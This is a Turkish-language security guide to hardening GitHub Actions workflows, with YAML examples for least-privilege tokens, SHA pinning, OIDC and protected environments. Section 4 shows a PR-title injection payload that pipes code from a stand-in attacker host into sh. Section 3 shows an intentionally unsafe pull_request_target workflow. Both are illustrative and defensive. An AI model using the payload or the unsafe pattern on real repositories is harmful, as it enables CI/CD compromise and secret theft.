GitHub Actions Güvenliği: İş Akışlarını Sertleştirme Rehberi
Aziz Özdemiroğlu

GitHub Actions iş akışları, deponuzun en ayrıcalıklı kodudur: sırlarınıza (secrets), bulut hesaplarınıza ve paket kayıt defterlerinize erişirler. 2026'daki npm tedarik zinciri saldırılarının neredeyse hepsi bir CI/CD zaafından yararlandı: hatalı pull_request_target kullanımı, sızan bir bot token'ı, ya da değiştirilmiş bir action etiketi. Bu rehberde iş akışlarınızı adım adım sertleştirecek, kopyalayıp kullanabileceğiniz YAML örnekleri bulacaksınız.
Kısaca
- Her iş akışına en az ayrıcalıklı bir
permissions:bloğu ekleyin. Varsayılancontents: readolsun. - Üçüncü taraf action'ları etiket yerine tam commit SHA'sına sabitleyin.
pull_request_targetveworkflow_runtetikleyicilerinde dışarıdan gelen kodu asla çalıştırmayın.${{ github.event.* }}ifadelerini doğrudanrun:içine yazmayın. Önce ortam değişkenine aktarın (komut enjeksiyonu riski).- Bulut erişimi için statik anahtarlar yerine OIDC ile kısa ömürlü kimlik bilgileri kullanın.
- Dağıtım ve yayın işlerini korumalı ortamlar (environments) ve onay kurallarıyla koruyun.
1. GITHUB_TOKEN izinlerini daraltın
Her iş akışı otomatik olarak bir GITHUB_TOKEN alır. Önce depo veya organizasyon ayarlarında varsayılanı salt okunur yapın (Settings → Actions → General → Workflow permissions → Read repository contents). Sonra her iş akışında ihtiyacı açıkça tanımlayın:
permissions: {} # iş akışı seviyesinde her şeyi kapat
jobs:
test:
permissions:
contents: read # yalnızca kodu okuyabilsin
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<SHA> # v5
with:
persist-credentials: false # token'ı .git/config içinde bırakma
- run: make test
release:
needs: test
permissions:
contents: write # yalnızca bu iş etiket/sürüm oluşturabilir
id-token: write # OIDC için
runs-on: ubuntu-latest
environment: production
steps:
- run: echo "yayın adımları"
persist-credentials: false küçük ama önemli bir ayardır. Varsayılan davranışta checkout, token'ı sonraki adımların okuyabileceği şekilde git yapılandırmasında bırakır.
2. Action'ları SHA'ya sabitleyin
Etiketler (@v4, @v1.2.3) taşınabilir. Ele geçirilen bir bakımcı hesabı, etiketi kötü amaçlı bir commit'e yönlendirebilir. 2026'da codfish/semantic-release-action deposunda tam olarak bu oldu: birden çok sürüm etiketi zararlı bir commit'e yönlendirildi.
# Kötü
- uses: some-org/deploy-action@v2
# İyi: tam 40 karakterlik SHA + okunabilirlik için sürüm yorumu
- uses: some-org/deploy-action@0123456789abcdef0123456789abcdef01234567 # v2.3.1
SHA'ları güncel tutmak: Dependabot SHA'ya sabitlenmiş action'ları anlar ve yorumdaki sürümü de günceller.
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
cooldown:
default-days: 7 # yeni sürümleri hemen almayın
Organizasyon düzeyinde Settings → Actions → Policies altından yalnızca izin verilen action'ların çalışmasını ve SHA'ya sabitleme zorunluluğunu etkinleştirebilirsiniz.
3. pull_request_target tuzağı
| Tetikleyici | Hangi kod çalışır? | Sırlara erişim | Yazma token'ı |
|---|---|---|---|
pull_request (fork'tan) |
PR'daki kod | Yok | Yok (salt okunur) |
pull_request_target |
Hedef daldaki iş akışı | Var | Var |
pull_request_target, etiketleme ve yorum yapma gibi işler için tasarlandı. Sorun, iş akışı içinde PR'ın kodunu checkout edip çalıştırdığınızda başlar. Bu durumda saldırganın kodu, sırlarınıza erişimi olan ayrıcalıklı bağlamda çalışır. 2026'daki AsyncAPI ihlali tam olarak bu şekilde başladı.
# TEHLİKELİ — bunu yapmayın
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<SHA>
with:
ref: ${{ github.event.pull_request.head.sha }} # saldırganın kodu
- run: npm install && npm test # sırlarla birlikte çalışır!
Güvenli desen: Testleri pull_request ile (ayrıcalıksız) çalıştırın. Ayrıcalık gerektiren işi (ör. PR'a yorum yazma) ayrı bir workflow_run iş akışında yapın ve yalnızca veri olarak üretilen artefaktları okuyun. Asla çalıştırmayın.
4. İfade enjeksiyonu (script injection)
PR başlığı, dal adı, issue gövdesi gibi alanlar saldırgan kontrolündedir. ${{ }} ifadeleri kabuğa verilmeden önce metin olarak yerine konur:
# TEHLİKELİ: başlık "a"; curl http://saldirgan/x | sh; echo " olabilir
- run: echo "PR başlığı: ${{ github.event.pull_request.title }}"
# GÜVENLİ: önce ortam değişkenine aktar, kabukta tırnakla kullan
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR başlığı: $PR_TITLE"
Bu hataları otomatik bulmak için zizmor ve actionlint araçlarını kullanın:
pipx install zizmor
zizmor .github/workflows/
5. OIDC ile sırsız bulut erişimi
Uzun ömürlü AWS_SECRET_ACCESS_KEY gibi sırlar sızdığında aylarca geçerli kalır. OIDC ile GitHub, her iş için kısa ömürlü bir kimlik token'ı üretir ve bulut sağlayıcınız bunu belirli depo, dal ve ortamla eşleştirerek geçici kimlik bilgisi verir.
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
steps:
- uses: aws-actions/configure-aws-credentials@<SHA> # v4
with:
role-to-assume: arn:aws:iam::123456789012:role/github-deploy
aws-region: eu-central-1
- run: aws s3 sync ./dist s3://ornek-bucket --delete
Bulut tarafındaki güven ilişkisinde (trust policy) sub koşulunu dar tutun. Örneğin repo:org/depo:environment:production. Joker karakterli (repo:org/*) koşullar, organizasyondaki herhangi bir deponun rolünüzü üstlenmesine izin verir.
6. Korumalı ortamlar ve onaylar
Settings → Environments altında production ortamı için:
- Required reviewers: Dağıtım öncesi insan onayı.
- Deployment branches and tags: Yalnızca
mainveyav*etiketlerinden dağıtım. - Ortama özel sırlar: Üretim sırları yalnızca bu ortama bağlı işlerde görünür.
7. Self-hosted runner riskleri
- Herkese açık depolarda self-hosted runner kullanmayın. Fork'tan gelen bir PR, makinenizde kod çalıştırabilir.
- Kendi runner'larınızı geçici (ephemeral) yapın: her iş için temiz bir VM veya container, iş bitince yok edilsin.
- Runner'ları iç ağdan ayrı bir segmentte çalıştırın ve ağ çıkışını kısıtlayın.
8. Sırların hijyeni
- Sırları asla
echoile yazdırmayın. GitHub maskeleme yapar ama base64 gibi dönüşümler maskeyi atlatır. - Sır taraması (secret scanning) ve push protection özelliklerini açın.
- Kişisel erişim token'ları (PAT) yerine GitHub App token'ları kullanın: kapsamları dar, süreleri kısa.
Kontrol listesi
- Depo/organizasyon varsayılan token izni: salt okunur
- Her iş akışında açık
permissions:bloğu - Tüm üçüncü taraf action'lar SHA'ya sabitli, Dependabot ile güncelleniyor
-
pull_request_target/workflow_runiçinde güvenilmeyen kod çalışmıyor -
run:içinde doğrudan${{ github.event.* }}yok -
actions/checkoutiçinpersist-credentials: false - Bulut erişimi OIDC ile, güven politikası dar
- Üretim dağıtımı korumalı ortam ve onay arkasında
- Herkese açık depolarda self-hosted runner yok
- zizmor/actionlint CI'da çalışıyor
- Secret scanning ve push protection açık
Sonuç
CI/CD sistemleri artık saldırganların birincil hedefi, çünkü tek bir iş akışı hatası binlerce kullanıcıya zararlı paket dağıtmaya yetiyor. İyi haber şu ki savunmaların çoğu birkaç satır YAML ile uygulanabiliyor. Bu hafta depolarınızda zizmor çalıştırın. Bulduğu ilk üç bulguyu düzeltmek bile riskinizi ciddi biçimde düşürecek.
Kaynaklar
- GitHub Docs — Security hardening for GitHub Actions
- GitHub Docs — About security hardening with OpenID Connect
- GitHub Security Lab — Keeping your GitHub Actions and workflows secure: Preventing pwn requests
- zizmor — GitHub Actions statik analiz aracı
- Microsoft Security — Unpacking the AsyncAPI npm supply chain compromise
#GitHub Actions#CI/CD Güvenliği#OIDC#pull_request_target#Dependabot#zizmor




